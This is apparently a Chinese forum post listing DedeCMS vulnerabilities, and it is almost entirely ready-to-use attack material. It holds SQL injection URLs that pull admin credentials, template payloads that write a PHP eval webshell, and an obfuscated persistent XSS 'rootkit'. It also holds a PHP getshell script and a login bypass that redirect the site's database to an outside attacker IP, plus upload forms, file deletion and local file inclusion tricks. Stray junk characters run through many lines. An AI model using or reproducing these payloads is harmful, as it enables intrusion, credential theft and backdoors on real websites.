dedecms漏洞总结

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Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


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. s2 }1 U0 L  YDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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7 z; t% t5 Y9 E6 @( t0 @; hDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
' s( [" l" j9 n3 V7 B. zhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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/ H! J& f1 r# s1 ~( tDEDECMS 全版本 gotopage变量XSS漏洞
$ l2 w" j1 l2 M, e9 W1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


6 N2 D: Z7 {& n2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
1 G: `+ `$ m4 v' g4 `  \% {4 L( nhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php
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& T, S4 D) p- ucolor=Red]DeDeCMS(织梦)变量覆盖getshell
: V- O5 V: W$ {, q& Z/ h#!usr/bin/php -w
<?php
# F4 f4 j2 `4 `. u3 d6 J" w3 J# _error_reporting(E_ERROR);
; n# t3 [, a5 ^0 tset_time_limit(0);
print_r('
1 e/ f- I5 U0 x3 ^# I6 f3 aDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
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echo "\r\n";
if($argv[2]==null){
3 @6 @* J2 B4 a: Pprint_r('
/ ?* L) v( l0 l% c* ~3 G, c0 \+---------------------------------------------------------------------------+
3 u7 k* q) Q" gUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
8 x& r6 T* a$ ~. h- ?Example:
php '.$argv[0].' www.site.com 1 old
* u" I* D$ |. A5 J- A  x+---------------------------------------------------------------------------+
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, v# h# S/ H- e* C; m7 ~& iexit;
}
$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
5 I5 {8 w6 X% o) K. Iif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
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0 `, d# {5 o* jif($aid==2)echo "
4 {  H- \- \! c# {4 NShell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
% I' ?, O: w3 N4 Necho "
2 n, I0 c8 W  t4 R0 ~9 bExploit Failed \n";
}
4 D$ I% P: Y, L# A. qfunction Getshell($url,$aid,$path){
9 _) O; P' @: s& a- L$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
4 l* L7 }0 @: s0 k9 s: b$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 N; k- y, B0 N$ N. N) h: w9 _5 Q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ z- ^) i1 V  A  c# X; x* E- c+ S$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
' O+ a1 N3 g3 R9 L! p- f5 ]5 [% P$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
3 t, \5 i3 ~2 ~& d# S6 S( f$ock=fsockopen($host,$port);
% [' L( ?5 V% R+ h3 T- R! bif (!$ock) {
echo "
No response from ".$host."\n";
}
- f0 R  |' A  h$ ?9 x% L; sfwrite($ock,$data);
while (!feof($ock)) {
/ s) E& z3 c  S7 P8 S( E$exp=fgets($ock, 1024);
return $exp;
}
}
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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
8 V- W' M8 L1 W$ ^+ L1 G: Uhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


! _- U! T: D$ y( R把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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此漏洞的前提是必须得到后台路径才能实现



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Dedecms织梦 标签远程文件写入漏洞
1 q6 z. a9 v# h- ]$ U' G" n前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
$ w3 W% r+ d$ Z, \5 b<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
. }, z+ K/ {  A7 @/ f; A<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
: @2 j, l, q  R. t0 [! [<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
, l/ i5 g# y( A) S2 @</form>
2 G3 m, s  y& }5 _" e/ \# J9 `2 q<script>
function addaction()
{
. e3 k: w: D! F/ o( v+ hdocument.QuickSearch.action=document.QuickSearch.doaction.value;
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</script>


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1 c: `, J  K& o8 ~2 u7 }DedeCms v5.6 嵌入恶意代码执行漏洞
; S  N$ ?  _" G3 g* K8 A2 ?注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
- T1 z3 ?; r" t7 wa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
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; d) I7 `* E+ w- n+ A7 q模板内容是（如果限制图片格式，加gif89a）：
0 n) I' S, v* N! D/ Z{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
) x7 v* S4 Q2 u6 C@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
5 v' W$ h3 R2 C% b. h& ~0 c& w@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
  |! @* Q; X& W2 |) O<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
/ W" @& g, g4 t1 I$ a6 V<input type="hidden" name="dopost" value="save" />
' ]+ r6 R8 K  U" R! l<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
3 M8 Y6 @- N) V<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
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<div id="mainCp">
+ D8 q, q! w6 L1 l% ]4 Q<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
6 Q: a; y& @' ]$ U4 l8 B7 `<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


<label>作者：</label>
& c0 R0 {; N& b( {. `, T<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

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3 J' ^5 p: {+ X4 n4 C* o6 Q4 i<label>隶属栏目：</label>
+ [2 l) R5 B0 I; H% W<select name='typeid' size='1'>
9 n8 k, J' E) M+ C" n<option value='1' class='option3' selected=''>测试栏目</option>
- g/ [6 C, S; m' K* b9 \3 n  m</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
( O+ z: g1 P! g, f5 W<select name='mtypesid' size='1'>
7 b. V* t, J; V5 d" J<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
; P+ p. q, k( T" [* }9 F; H& [</select>
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<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
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<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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<input type='text' name='templet'
# X* |% Q6 ^: B( V3 Ovalue="../ uploads/userup/2/12OMX04-15A.jpg">
& j! Y/ p" }! E9 R<input type='text' name='dede_addonfields'
: W; l! j  \7 ?& b+ ivalue="templet,htmltext;">（这里构造）
</div>

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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

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<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
' {' C% E2 A( e! Z0 w* l4 ~" X<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
' o, X+ D4 O4 t# F<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
0 s; x7 Z/ L1 w<button class="button2 ml10" type="reset">重置</button>
; R  P" i: x( B( p% L+ q8 ]</div>

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</div>
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& k0 m4 R. y5 H! X4 @7 }</form>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
8 L) I+ ^  }% I! n8 K2 ?假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
+ `9 \! T% B  N  n即可以在plus目录下生成webshell：1.php



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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
$ W/ S: o( j7 HGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
0 l8 n1 V3 H1 F% b* [{/dede:field}
/ `, o* j! a6 |: |/ O保存为1.gif
8 Q! ]# ?/ j. o0 Y) o<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
1 h& H0 U6 _9 s<input type="hidden" name="aid" value="7" />
6 w7 l+ }* l5 x( U9 T4 \) w<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
& @/ V7 l2 c$ y, h/ K<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
' `7 o% X1 O6 O* {<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
. g+ B+ I( Z% h1 i! z: ?: \发表文章，然后构造修改表单如下：


( p0 N: z3 A5 \. s; C; H- K7 B<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
# M* q8 A; l" o" @+ l. I5 d<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
5 R. m3 g( @. \1 n<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
; Q" ?3 s% L8 B$ O0 ~; S: |1 l( a<input type="hidden" name="channelid" value="1" />
& `- B  I; [/ ]3 x6 V% X" s8 p- o1 \<input type="hidden" name="oldlitpic" value="" />
  [9 l( L- w$ F* H3 ?9 S3 j<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
- G/ w/ F; T3 S<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
; q5 E2 m2 a- s/ t, _3 v<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
, ~$ I: G6 ]$ Z" O; `# f<button class="button2" type="submit">提交</button>
</form>
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. @; S/ u9 k1 ?# e3 n织梦(Dedecms)V5.6 远程文件删除漏洞
7 B$ r2 T6 B4 a, H; s# A# e$ C! nhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

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: [- k# Q- Q, P3 f7 J织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5


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# y+ ^0 D. O6 M8 C织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
* o1 L, f3 x! S9 d1 F; b+ I0 J! Yhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
2 O. S( T( R5 V  I</head>
<body style="FONT-SIZE: 9pt">
4 `) t; ^) `; m( O2 n0 B---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  |" T6 K. G1 a<input type='hidden' name='activepath' value='/data/cache/' />
% |2 y2 [, C) Q3 x4 E<input type='hidden' name='cfg_basedir' value='../../' />
7 ]- j' H1 j$ ]<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
; n; G0 w" Q- \$ ?( H& c7 ?1 `3 k<input type='hidden' name='cfg_softtype' value='php' />
# ^4 a7 F( o: y) ^& w+ [# z<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
# H' g7 `) I9 f: C<input type='submit' name='sb1' value='确定' />
2 k! h9 x" M4 ~* Q. h) M: F0 ^</form>
& X9 w5 [1 w+ ?: b& N* G$ [- h: k<br />It's just a exp for the bug of Dedecms V55...<br />
- T/ [* |& s9 ?" Y9 i: a& b; qNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
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</html>
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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
8 z6 L$ b0 b/ }/ q  x# {可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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8 _8 @+ s) h6 i: S+ L2 S( }<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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/ \6 x  j9 M5 Y& A9 x8 c按确定后的看到第2步骤的信息表示文件木马上传成功.


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; y# b4 c1 B9 G& `9 w/ U: u" J织梦(DedeCms)plus/infosearch.php 文件注入漏洞
3 G' m5 h- X& m  N0 d+ Nhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*